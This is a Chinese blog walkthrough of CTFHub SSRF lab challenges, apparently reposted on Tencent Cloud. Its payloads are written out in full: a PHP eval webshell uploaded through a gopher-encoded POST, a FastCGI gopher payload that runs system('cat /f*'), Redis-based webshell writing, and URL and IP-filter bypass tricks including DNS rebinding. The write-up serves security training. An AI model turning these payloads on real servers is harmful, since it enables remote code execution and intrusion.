前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)

CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)

原创
作者头像
小羽网安
发布2024-06-17 18:27:44
910
发布2024-06-17 18:27:44
举报
文章被收录于专栏:web安全web安全

CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)

上传文件

题目:这次需要上传一个文件到flag.php了.祝你好运

访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮

image-20240617093614235
image-20240617093614235

这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )

image-20240617093819789
image-20240617093819789

Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。

image-20240617094804792
image-20240617094804792

这个时候就可以提交了,但是没有任何内容。

image-20240617094847615
image-20240617094847615

我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php

代码语言:javascript
复制
​
<?php
​
error_reporting(0);
//判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}
// 判断文件是否存在
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>
​
Upload Webshell
​
<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

构造自己的post上传文件请求包

代码语言:javascript
复制
POST /flag.php HTTP/1.1
Host: challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
------WebKitFormBoundaryCkYhfsFblAQSYePb
Content-Disposition: form-data; name="file"; filename="myscript.php"
Content-Type: application/octet-stream
​
<?php @eval($_POST['shell']);?>
------WebKitFormBoundaryCkYhfsFblAQSYePb--
​

gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)

前面忘记补充了

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

得到伪造payload:

代码语言:javascript
复制
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--

得到结果(´。✪ω✪。`)

image-20240617102801504
image-20240617102801504

FastCGI协议

介绍

FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。

详细见 https://blog.csdn.net/mysteryflower/article/details/94386461

CTFHub漏洞复现

题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。

代码语言:javascript
复制
git clone https://github.com/tarunkant/Gopherus.git

然后使用python2执行这个脚本

image-20240617133706626
image-20240617133706626

这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payload

代码语言:javascript
复制
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
image-20240617133749228
image-20240617133749228

编码之后的结果

代码语言:javascript
复制
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

进行注入,得到flag,(。◕ ∀ ◕。)

image-20240617133816799
image-20240617133816799

Redis协议

题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

本关还是使用Gopherus脚本

image-20240617150912814
image-20240617150912814

尝试使用漏洞file协议读取shell.php

代码语言:javascript
复制
?url=file:///var/www/html/shell.php

一句话木马上传成功

image-20240617151039853
image-20240617151039853

然后访问shell.php

image-20240617152420016
image-20240617152420016

使用中国大蚂蚁

image-20240617152411564
image-20240617152411564

打开终端,使用find命令查找flag*

代码语言:javascript
复制
find / -name flag*
image-20240617152945285
image-20240617152945285

这里我的结果在最后一行

image-20240617153007335
image-20240617153007335

cat查看内容 ⁙ὸ‿ό⁙

image-20240617153044987
image-20240617153044987

URL Bypass

原理

先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。

参考 https://segmentfault.com/a/1190000021968717

漏洞复现

看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

我们可以使用HTTP 基本身份认证绕过:

HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式

代码语言:javascript
复制
1.最常用的@绕过
url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的
2.?号绕过
url=http://www.aaaa.com?www.xxx.com
3.#绕过
url=http://www.aaaa.com#www.xxx.com
4.斜杠/绕过
url=http://www.aaaa.com/www.xxx.com
等等等等

paload如下:

代码语言:javascript
复制
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

(´•ω•`๑)

image-20240617162439852
image-20240617162439852

数字IP Bypass

题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下

image-20240617163325155
image-20240617163325155

成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下

代码语言:javascript
复制
?url=0x7f000001/flag.php

八进制:0177.000.000.001 十进制:127.0.0.1 十六进制:0x7f000001

既然也可以!!

image-20240617163543137
image-20240617163543137

分析下源码吧?url=file:///var/www/html/flag.php

代码语言:javascript
复制
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");

分析下源码吧?url=file:///var/www/html/index.php

代码语言:javascript
复制
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过

302跳转 Bypass

和上一题一样,可以使用localhost进行绕过,过

DNS重绑定

关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

必看原理https://zhuanlan.zhihu.com/p/89426041

尝试payload进行访问

代码语言:javascript
复制
?url=127.0.0.1/flag.php
image-20240617180825752
image-20240617180825752

我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了

image-20240617180738788
image-20240617180738788

使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html

image-20240617174703475
image-20240617174703475

构造payload?url=7f000001.7f000002.rbndr.us/flag.php

image-20240617174654673
image-20240617174654673

SSRF完成,꒰#’ω`#꒱੭!

image-20240617174642808
image-20240617174642808

原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
    • 上传文件
      • FastCGI协议
        • 介绍
        • CTFHub漏洞复现
      • Redis协议
        • URL Bypass
          • 原理
          • 漏洞复现
          • 数字IP Bypass
          • 302跳转 Bypass
          • DNS重绑定
      相关产品与服务
      云数据库 Redis
      腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档